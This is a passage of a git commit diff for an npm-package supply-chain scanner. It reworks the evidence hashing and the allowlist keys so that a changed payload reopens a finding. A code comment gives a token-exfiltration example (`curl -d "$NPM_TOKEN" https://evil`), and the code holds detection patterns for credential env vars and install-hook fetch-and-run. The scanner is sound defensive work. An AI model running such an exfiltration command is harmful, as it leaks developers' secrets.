Merge remote-tracking branch 'origin/diffusion-image-workflows' into diffusion-lora
This commit is contained in:
Daniel Han
commit
b33418e14a
32 changed files with 7425 additions and 175 deletions
|
|
@ -40,8 +40,10 @@ from __future__ import annotations
|
|||
import argparse
|
||||
import atexit
|
||||
import base64 as _b64 # imported only so the IOC string-scan can detect it
|
||||
import bisect
|
||||
import hashlib
|
||||
import io
|
||||
import itertools
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
|
|
@ -897,20 +899,364 @@ def safe_extract(
|
|||
# ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
# How far back to look for an enclosing bracket opener. Symmetric with the
|
||||
# forward cap so a host that sits deep inside a large options object (its opening
|
||||
# `{` many properties above) still binds the whole object, not just its own line;
|
||||
# a too-far start only over-binds (more context, still fail-closed), never less.
|
||||
_MAX_CONT_LINES = 200
|
||||
# Hard cap on how far forward a bracket group is followed to its close, measured
|
||||
# from the matched line so the tail after the match is always reachable even when
|
||||
# the opener was found near the backward limit (digest input only, never
|
||||
# displayed); a realistic config object closes well within it.
|
||||
_MAX_GROUP_LINES = 200
|
||||
|
||||
# JS string literal (single / double / template), blanked before counting
|
||||
# brackets so a bracket inside a string is not mistaken for code.
|
||||
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
|
||||
|
||||
|
||||
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
|
||||
_OPENERS = frozenset("([{")
|
||||
|
||||
|
||||
def _bracket_lr(line: str) -> tuple[int, int]:
|
||||
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
|
||||
where ``L`` is the count of closers with no opener earlier on the line (they
|
||||
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
|
||||
with no closer later on the line (they need a closer to the RIGHT / on a later
|
||||
line). A plain net count (opens minus closes) collapses order and so masks a
|
||||
trailing opener that follows leading closers on the same line, e.g.
|
||||
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
|
||||
object; tracking the running minimum keeps that opener visible so the group
|
||||
binds the path/headers that follow. Only bracket characters are walked (pulled
|
||||
out with one C-level regex pass) so a long minified line stays cheap."""
|
||||
depth = 0
|
||||
low = 0
|
||||
for ch in _RE_BRACKETS.findall(line):
|
||||
if ch in _OPENERS:
|
||||
depth += 1
|
||||
else:
|
||||
depth -= 1
|
||||
if depth < low:
|
||||
low = depth
|
||||
return -low, depth - low
|
||||
|
||||
|
||||
def _find_unescaped(line: str, quote: str, start: int) -> int:
|
||||
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
|
||||
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
|
||||
i, n = start, len(line)
|
||||
while i < n:
|
||||
if line[i] == "\\":
|
||||
i += 2
|
||||
continue
|
||||
if line[i] == quote:
|
||||
return i
|
||||
i += 1
|
||||
return -1
|
||||
|
||||
|
||||
# A `/` is a regex literal (not division) when the previous significant character
|
||||
# is none (start) or one of these expression-position chars. Used only by the
|
||||
# multi-line blanked view, and the span is unioned with the single-line view, so
|
||||
# an over- or under-detection only ever grows the bound span (never shrinks it).
|
||||
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
|
||||
|
||||
|
||||
def _blank_js_strings(lines: list[str]) -> list[str]:
|
||||
"""Replace string contents (single, double, multi-line backtick template
|
||||
literals) AND regex literal bodies with spaces across ``lines``, keeping the
|
||||
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
|
||||
never miscounts a ``)`` that lives inside a string -- including a template
|
||||
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
|
||||
cannot blank. Escapes are honoured."""
|
||||
out: list[str] = []
|
||||
in_back = False # inside a multi-line `template` literal
|
||||
prev_sig = "" # last significant non-space char (for regex-vs-division)
|
||||
for line in lines:
|
||||
buf: list[str] = []
|
||||
i, n = 0, len(line)
|
||||
while i < n:
|
||||
if in_back:
|
||||
end = _find_unescaped(line, "`", i)
|
||||
if end == -1:
|
||||
buf.append(" " * (n - i))
|
||||
i = n
|
||||
else:
|
||||
buf.append(" " * (end - i + 1))
|
||||
i = end + 1
|
||||
in_back = False
|
||||
prev_sig = "`"
|
||||
continue
|
||||
ch = line[i]
|
||||
if ch in " \t":
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
continue
|
||||
if ch in "'\"`":
|
||||
end = _find_unescaped(line, ch, i + 1)
|
||||
if end == -1:
|
||||
buf.append(" " * (n - i))
|
||||
i = n
|
||||
if ch == "`": # opens a template literal that runs past this line
|
||||
in_back = True
|
||||
else:
|
||||
buf.append(" " * (end - i + 1))
|
||||
i = end + 1
|
||||
prev_sig = "v" # a string is a value: a following `/` is division
|
||||
continue
|
||||
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
|
||||
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
|
||||
# char class. A regex never spans lines, so no close on the line
|
||||
# means this `/` is really division.
|
||||
j, in_class, closed = i + 1, False, False
|
||||
while j < n:
|
||||
c = line[j]
|
||||
if c == "\\":
|
||||
j += 2
|
||||
continue
|
||||
if c == "[":
|
||||
in_class = True
|
||||
elif c == "]":
|
||||
in_class = False
|
||||
elif c == "/" and not in_class:
|
||||
j += 1
|
||||
closed = True
|
||||
break
|
||||
j += 1
|
||||
if closed:
|
||||
buf.append(" " * (j - i))
|
||||
i = j
|
||||
prev_sig = "v" # a regex is a value
|
||||
continue
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
prev_sig = "/"
|
||||
continue
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
prev_sig = ch
|
||||
out.append("".join(buf))
|
||||
return out
|
||||
|
||||
|
||||
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
|
||||
"""Precompute once per evidence call: raw lines for display, two string-blanked
|
||||
views for bracket counting (single-line via regex = legacy, and multi-line
|
||||
aware so a template literal spanning lines is blanked), and newline offsets for
|
||||
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
|
||||
file on every single match (which was O(matches x file size))."""
|
||||
lines = text.split("\n")
|
||||
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
|
||||
ml_blanked = _blank_js_strings(lines)
|
||||
nl = [p for p, ch in enumerate(text) if ch == "\n"]
|
||||
return lines, sl_blanked, ml_blanked, nl
|
||||
|
||||
|
||||
# Cap on formatted matches in one evidence string; beyond it the remaining match
|
||||
# texts are folded into a single digest so a huge/minified file cannot build a
|
||||
# multi-megabyte evidence blob while an added/removed match past the cap still
|
||||
# changes the key.
|
||||
_MAX_EVIDENCE_MATCHES = 64
|
||||
|
||||
|
||||
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
|
||||
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
|
||||
blanked view: scan back to the still-open opener, then forward to its close."""
|
||||
# Backward: find the line that opens a bracket still unclosed at the match,
|
||||
# so a match inside a multi-line object starts from the object opener. Each line
|
||||
# is reduced to (L, R) and applied in order: first the L closers consume open
|
||||
# brackets from the running context (a stray closer whose opener is outside the
|
||||
# window only clamps depth at 0, it never goes negative), then the R openers
|
||||
# add to it. Tracking order this way (rather than a single net per line) keeps a
|
||||
# trailing opener visible even when leading closers on the same line net it to
|
||||
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
|
||||
# changed path/headers after such a line ride the unchanged-hostname key.
|
||||
start = idx
|
||||
depth = 0
|
||||
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
|
||||
left, right = _bracket_lr(blanked[j])
|
||||
if left >= depth:
|
||||
depth = 0 # everything opened so far in the window has closed
|
||||
start = idx
|
||||
else:
|
||||
depth -= left
|
||||
if right > 0:
|
||||
if depth == 0:
|
||||
start = j # outermost still-open opener begins here
|
||||
depth += right
|
||||
|
||||
# Forward: extend until the group opened at `start` closes past the match. The
|
||||
# same order-aware reduction is used (clamping leading closers at 0) so the
|
||||
# foreign `})` on the opener line does not drive the count negative and stop the
|
||||
# scan before the real close. The cap is measured from the match (`idx`), not
|
||||
# from `start`, so an opener found near the backward limit does not eat the
|
||||
# whole forward budget and drop the path/headers/body that follow the match.
|
||||
depth = 0
|
||||
end = start
|
||||
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
|
||||
left, right = _bracket_lr(blanked[j])
|
||||
depth = max(0, depth - left) + right
|
||||
end = j
|
||||
if j >= idx and depth <= 0:
|
||||
break
|
||||
return start, end
|
||||
|
||||
|
||||
def _canon_preserve_strings(text: str) -> str:
|
||||
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
|
||||
space (so a reindent or spacing change between tokens stays stable) while
|
||||
preserving whitespace INSIDE single/double/backtick string literals (so a
|
||||
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
|
||||
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
|
||||
edit along with harmless indentation. Leading/trailing outside whitespace is
|
||||
dropped; escapes inside strings are honoured. Used for the evidence hash and
|
||||
the logical-line digests so the two stay consistent."""
|
||||
out: list[str] = []
|
||||
i, n = 0, len(text)
|
||||
quote: str | None = None
|
||||
pending_space = False
|
||||
while i < n:
|
||||
ch = text[i]
|
||||
if quote is not None:
|
||||
out.append(ch)
|
||||
if ch == "\\" and i + 1 < n:
|
||||
out.append(text[i + 1])
|
||||
i += 2
|
||||
continue
|
||||
if ch == quote:
|
||||
quote = None
|
||||
i += 1
|
||||
continue
|
||||
if ch.isspace():
|
||||
pending_space = True
|
||||
i += 1
|
||||
continue
|
||||
if pending_space and out:
|
||||
out.append(" ")
|
||||
pending_space = False
|
||||
out.append(ch)
|
||||
if ch in "'\"`":
|
||||
quote = ch
|
||||
i += 1
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def _logical_line_text(
|
||||
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
|
||||
) -> str:
|
||||
"""The matched line plus the bracket group it belongs to (the enclosing
|
||||
multi-line object/call, so a changed ``path``/``headers``/body on another line
|
||||
binds). Returns the UNION of the groups found in the single-line-blanked view
|
||||
(legacy: a payload embedded inside a template still counts so its brackets bind
|
||||
the call) and the multi-line-blanked view (a bracket inside a template literal
|
||||
spanning lines no longer closes the group early). Unioning never shrinks the
|
||||
span below either view, so neither blanking strategy can drop a line a
|
||||
malicious change relies on."""
|
||||
s1, e1 = _scan_group(sl_blanked, idx)
|
||||
s2, e2 = _scan_group(ml_blanked, idx)
|
||||
start, end = min(s1, s2), max(e1, e2)
|
||||
return " ".join(lines[start : end + 1])
|
||||
|
||||
|
||||
def _format_match(
|
||||
text: str,
|
||||
lines: list[str],
|
||||
sl_blanked: list[str],
|
||||
ml_blanked: list[str],
|
||||
nl: list[int],
|
||||
m: re.Match,
|
||||
max_chars: int,
|
||||
) -> str:
|
||||
# The shown snippet is a small window around the match; append a digest of the
|
||||
# full LOGICAL line (the matched line plus its bracket-continuation lines)
|
||||
# whenever the snippet does not already show all of it, so a changed payload
|
||||
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
|
||||
# mapped to line numbers via bisect over precomputed newline positions, so this
|
||||
# is O(log n) instead of rescanning the file prefix for every match.
|
||||
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
|
||||
line_start = nl[idx - 1] + 1 if idx > 0 else 0
|
||||
ke = bisect.bisect_left(nl, m.end())
|
||||
line_end = nl[ke] if ke < len(nl) else len(text)
|
||||
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
|
||||
start = max(line_start, m.start() - 30)
|
||||
end = min(line_end, m.end() + 30)
|
||||
snippet = text[start:end].replace("\n", " ")
|
||||
if len(snippet) > max_chars:
|
||||
snippet = snippet[:max_chars] + "..."
|
||||
if snippet != full_logical:
|
||||
# Normalize before digesting, matching _evidence_hash, so a formatter-only
|
||||
# reindent of the bound continuation lines does not reopen -- but preserve
|
||||
# whitespace inside string literals so a changed request/payload body does.
|
||||
canon = _canon_preserve_strings(full_logical)
|
||||
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
|
||||
snippet = f"{snippet} sha256:{digest}"
|
||||
return snippet
|
||||
|
||||
|
||||
def _stream_overflow_digest(
|
||||
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
|
||||
) -> tuple[int, str]:
|
||||
"""A single digest binding the LOGICAL line (the bound bracket-group context,
|
||||
not just the regex match text) of every overflow match in the iterable, plus
|
||||
the count of matches folded. Streams the matches (any iterable of re.Match) so a
|
||||
huge overflow never materializes a list. Whitespace-normalized to match
|
||||
_evidence_hash so a reindent does not reopen."""
|
||||
h = hashlib.sha256()
|
||||
count = 0
|
||||
for m in matches:
|
||||
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
|
||||
count += 1
|
||||
return count, h.hexdigest()
|
||||
|
||||
|
||||
def _fold_overflow_match(
|
||||
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
|
||||
) -> None:
|
||||
"""Fold one overflow match's whitespace-normalized logical-line context into the
|
||||
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
|
||||
fold in _outbound_host_evidence so both produce the identical digest."""
|
||||
idx = bisect.bisect_left(nl, m.start())
|
||||
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
|
||||
h.update(b"\x00")
|
||||
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
|
||||
|
||||
|
||||
def _evidence(
|
||||
text: str,
|
||||
pat: re.Pattern,
|
||||
max_chars: int = 200,
|
||||
) -> str:
|
||||
m = pat.search(text)
|
||||
if not m:
|
||||
# Record every match (not a truncated sample) so an extra match appended to an
|
||||
# already-flagged file changes the evidence instead of riding the first few.
|
||||
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
|
||||
# (binding their logical-line context) so the evidence string stays bounded
|
||||
# while a changed payload past the cap still reopens. The matches are streamed
|
||||
# from finditer rather than materialized into a list: a generated file can
|
||||
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
|
||||
# re.Match per occurrence before applying the cap would stall or OOM the scan.
|
||||
it = pat.finditer(text)
|
||||
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
|
||||
if not shown_matches:
|
||||
return ""
|
||||
start = max(0, m.start() - 30)
|
||||
end = min(len(text), m.end() + 30)
|
||||
snippet = text[start:end].replace("\n", " ")
|
||||
if len(snippet) > max_chars:
|
||||
snippet = snippet[:max_chars] + "..."
|
||||
return snippet
|
||||
lines, sl_blanked, ml_blanked, nl = _index_text(text)
|
||||
shown = [
|
||||
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
|
||||
]
|
||||
# Fold the rest (past the cap) into one digest as they arrive, never building a
|
||||
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
|
||||
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
|
||||
if overflow_count:
|
||||
shown.append(f"(+{overflow_count} more) sha256:{digest}")
|
||||
return " | ".join(shown)
|
||||
|
||||
|
||||
def _ioc_evidence(text: str, needle: str) -> str:
|
||||
"""Matched-line context (with bracket-group continuation) for a literal IOC
|
||||
needle, so a changed adjacent fetch/exfil body reopens the key instead of
|
||||
riding the bare constant. Falls back to the needle itself if, defensively,
|
||||
nothing matches (the caller only reaches here when ``needle in text``)."""
|
||||
return _evidence(text, re.compile(re.escape(needle))) or needle
|
||||
|
||||
|
||||
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
|
||||
|
|
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
body = scripts.get(hook)
|
||||
if not isinstance(body, str):
|
||||
continue
|
||||
# Pin the whole lifecycle body via one digest shared by every lifecycle
|
||||
# finding below: a script that keeps the matched signal but changes
|
||||
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
|
||||
# https://evil`) must reopen. The stored evidence is a bounded matched
|
||||
# snippet plus this digest, never the entire body, so `--write-baseline`
|
||||
# on a package with a multi-MiB install script does not bloat the baseline
|
||||
# JSON while the digest still binds the full body. Normalized to match
|
||||
# _evidence_hash so a reindent alone does not reopen, while whitespace
|
||||
# inside quoted strings is preserved so a changed quoted payload does.
|
||||
body_digest = hashlib.sha256(
|
||||
_canon_preserve_strings(body).encode("utf-8", "replace")
|
||||
).hexdigest()
|
||||
if _LIFECYCLE_FETCH_EXEC.search(body):
|
||||
findings.append(
|
||||
Finding(
|
||||
|
|
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"lifecycle-fetch-exec ({hook})",
|
||||
evidence = body,
|
||||
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
|
||||
detail = (
|
||||
f"`scripts.{hook}` fetches an external "
|
||||
"resource and pipes/chains it to an "
|
||||
|
|
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"cred-path-in-lifecycle ({hook})",
|
||||
evidence = body,
|
||||
evidence = (
|
||||
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
|
||||
f"body-sha256:{body_digest}"
|
||||
),
|
||||
detail = (
|
||||
f"`scripts.{hook}` references {why} "
|
||||
f"({path_substr!r}); install-time access "
|
||||
|
|
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"cred-env-in-lifecycle ({hook})",
|
||||
evidence = _evidence(body, _JS_ENV_TOKEN),
|
||||
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
|
||||
detail = (
|
||||
f"`scripts.{hook}` references a credential "
|
||||
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
|
||||
|
|
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
|
|||
return False
|
||||
|
||||
|
||||
def _outbound_host_evidence(text: str, host: str) -> str:
|
||||
"""Evidence capturing the host WITH its outbound context (URL path, fetch
|
||||
call, host config), so a changed path/headers/body reopens the key instead
|
||||
of riding the bare host literal. Falls back to the host if none matches."""
|
||||
host_re = re.escape(host)
|
||||
patterns = (
|
||||
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
|
||||
re.compile(
|
||||
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
|
||||
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Host-config form: capture the whole line (path/headers/body), so a
|
||||
# changed outbound payload on the same hostname line reopens the key.
|
||||
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
|
||||
)
|
||||
# Record EVERY outbound context for the host, not just the first form that
|
||||
# matches: a file that already has a baselined URL for the host and later adds
|
||||
# a separate host-config request (or a second URL) must change the evidence so
|
||||
# the new payload cannot inherit the old key. Forms are claimed in order, and a
|
||||
# region already claimed by an earlier form is skipped, so the common
|
||||
# single-context case keeps its existing snippet. Each form is capped at
|
||||
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
|
||||
# minified file cannot make the overlap check quadratic; once chosen is full
|
||||
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
|
||||
# list, so a host repeated millions of times cannot OOM the scan) and an added
|
||||
# context still reopens.
|
||||
lines, sl_blanked, ml_blanked, nl = _index_text(text)
|
||||
claimed: list[tuple[int, int]] = []
|
||||
chosen: list[re.Match] = []
|
||||
overflow_count = 0
|
||||
overflow_hash = hashlib.sha256()
|
||||
for pat in patterns:
|
||||
for m in pat.finditer(text):
|
||||
if len(chosen) < _MAX_EVIDENCE_MATCHES:
|
||||
# Overlap check runs only while filling the display list, so
|
||||
# `claimed` is bounded by the cap and this stays O(cap) per match
|
||||
# (not quadratic), while every later match is still counted below.
|
||||
if any(m.start() < e and s < m.end() for s, e in claimed):
|
||||
continue
|
||||
claimed.append((m.start(), m.end()))
|
||||
chosen.append(m)
|
||||
else:
|
||||
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
|
||||
overflow_count += 1
|
||||
if not chosen:
|
||||
return host
|
||||
chosen.sort(key = lambda m: m.start())
|
||||
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
|
||||
if overflow_count:
|
||||
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
|
||||
return " | ".join(shown)
|
||||
|
||||
|
||||
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
||||
findings: list[Finding] = []
|
||||
|
||||
|
|
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
|
||||
text = _strip_js_noncode(text)
|
||||
|
||||
# IOC substrings (literal, case-sensitive).
|
||||
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
|
||||
# context (with its bracket-group continuation), not the bare needle: an IOC
|
||||
# host/hash left in place while the adjacent fetch/exfil body changes must
|
||||
# reopen the key instead of riding the constant.
|
||||
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
|
||||
if needle in text:
|
||||
findings.append(
|
||||
|
|
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "known-ioc-string",
|
||||
evidence = needle,
|
||||
evidence = _ioc_evidence(text, needle),
|
||||
detail = f"{why}: {needle!r}",
|
||||
)
|
||||
)
|
||||
|
||||
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
|
||||
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
|
||||
# (path/headers/body) when present so a changed exfil payload on the same call
|
||||
# reopens; falls back to the bare host when it is not in an outbound call.
|
||||
for needle, why in CRED_HOST_ALWAYS_BAD:
|
||||
if needle in text:
|
||||
findings.append(
|
||||
|
|
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "cred-surface-host (always-bad)",
|
||||
evidence = needle,
|
||||
evidence = _outbound_host_evidence(text, needle),
|
||||
detail = (
|
||||
f"references {why} ({needle!r}); no legitimate "
|
||||
"frontend use of this surface"
|
||||
|
|
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "cred-surface-host (outbound)",
|
||||
evidence = needle,
|
||||
evidence = _outbound_host_evidence(text, needle),
|
||||
detail = (
|
||||
f"references {why} ({needle!r}) in an outbound "
|
||||
"call / URL / host config; a defensive blocklist "
|
||||
|
|
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "known-ioc-string",
|
||||
evidence = needle,
|
||||
evidence = _ioc_evidence(text, needle),
|
||||
detail = f"{why}: {needle!r}",
|
||||
)
|
||||
)
|
||||
|
|
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
|
|||
|
||||
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
|
||||
|
||||
# Bumped when the entry-key semantics change. v2 keys on the package-relative
|
||||
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
|
||||
# in a different directory. A pre-v2 baseline with entries is ignored (fail
|
||||
# closed) rather than mis-applied.
|
||||
_BASELINE_SCHEMA_VERSION = 2
|
||||
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
|
||||
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
|
||||
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
|
||||
# with entries is ignored (fail closed) rather than mis-applied.
|
||||
_BASELINE_SCHEMA_VERSION = 3
|
||||
|
||||
|
||||
def _norm_pkg_name(display: str) -> str:
|
||||
|
|
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
|
|||
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
|
||||
|
||||
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str]:
|
||||
"""Stable allowlist key: normalized package, package-relative path, pattern."""
|
||||
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
|
||||
def _evidence_hash(evidence: str) -> str:
|
||||
"""Stable digest of the matched evidence. The npm snippet carries no line
|
||||
markers, so it is already version-stable; whitespace outside string literals is
|
||||
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
|
||||
changed payload body reopens but a formatter reindent does not."""
|
||||
canon = _canon_preserve_strings(evidence or "")
|
||||
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
|
||||
|
||||
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
|
||||
"""Allowlist key: normalized package, package-relative path, pattern, and a
|
||||
hash of the matched evidence -- so changed flagged code under an already-listed
|
||||
package/path/pattern reopens instead of riding the reviewed entry."""
|
||||
return (
|
||||
_norm_pkg_name(f.package),
|
||||
_relpath_in_package(f.filename),
|
||||
f.pattern,
|
||||
_evidence_hash(f.evidence or f.detail),
|
||||
)
|
||||
|
||||
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
|
||||
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
|
||||
try:
|
||||
with open(path, "r", encoding = "utf-8") as fh:
|
||||
|
|
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
|||
except (OSError, json.JSONDecodeError) as exc:
|
||||
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
|
||||
return set()
|
||||
if not isinstance(data, dict):
|
||||
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
|
||||
return set()
|
||||
entries = data.get("entries", [])
|
||||
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
|
||||
if not isinstance(entries, list):
|
||||
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
|
||||
return set()
|
||||
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
|
||||
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
|
||||
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
|
||||
print(
|
||||
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
|
||||
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
|
||||
file = sys.stderr,
|
||||
)
|
||||
return set()
|
||||
keys: set[tuple[str, str, str]] = set()
|
||||
keys: set[tuple[str, str, str, str]] = set()
|
||||
legacy = 0
|
||||
for e in entries:
|
||||
if not isinstance(e, dict):
|
||||
continue
|
||||
try:
|
||||
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
|
||||
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
|
||||
if not e.get("evidence_hash"):
|
||||
legacy += 1
|
||||
keys.add(
|
||||
(
|
||||
_norm_pkg_name(e["package"]),
|
||||
_relpath_in_package(e["file"]),
|
||||
e["pattern"],
|
||||
evidence_hash,
|
||||
)
|
||||
)
|
||||
except (KeyError, TypeError):
|
||||
continue
|
||||
if legacy:
|
||||
print(
|
||||
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
|
||||
f"not suppress until regenerated with --write-baseline (findings reopen "
|
||||
f"rather than risk hiding changed code under a coarse key)",
|
||||
file = sys.stderr,
|
||||
)
|
||||
return keys
|
||||
|
||||
|
||||
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
|
||||
"""Persist at-or-above-threshold findings as an allowlist for triage."""
|
||||
entries = []
|
||||
seen: set[tuple[str, str, str]] = set()
|
||||
seen: set[tuple[str, str, str, str]] = set()
|
||||
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
|
||||
if _SEVERITY_RANK[f.severity] > threshold_rank:
|
||||
continue
|
||||
|
|
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
|
|||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
evidence = f.evidence or f.detail
|
||||
entries.append(
|
||||
{
|
||||
"package": _norm_pkg_name(f.package),
|
||||
"file": _relpath_in_package(f.filename),
|
||||
"pattern": f.pattern,
|
||||
"severity": f.severity,
|
||||
"evidence": (f.evidence or f.detail)[:240],
|
||||
"evidence": evidence,
|
||||
"evidence_hash": _evidence_hash(evidence),
|
||||
}
|
||||
)
|
||||
doc = {
|
||||
"_comment": (
|
||||
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
|
||||
"finding manually judged benign. Matched on (package, "
|
||||
"package-relative path, pattern); evidence/severity are for review "
|
||||
"only. Regenerate with --write-baseline AFTER reviewing every line."
|
||||
"package-relative path, pattern, evidence hash); a new payload under "
|
||||
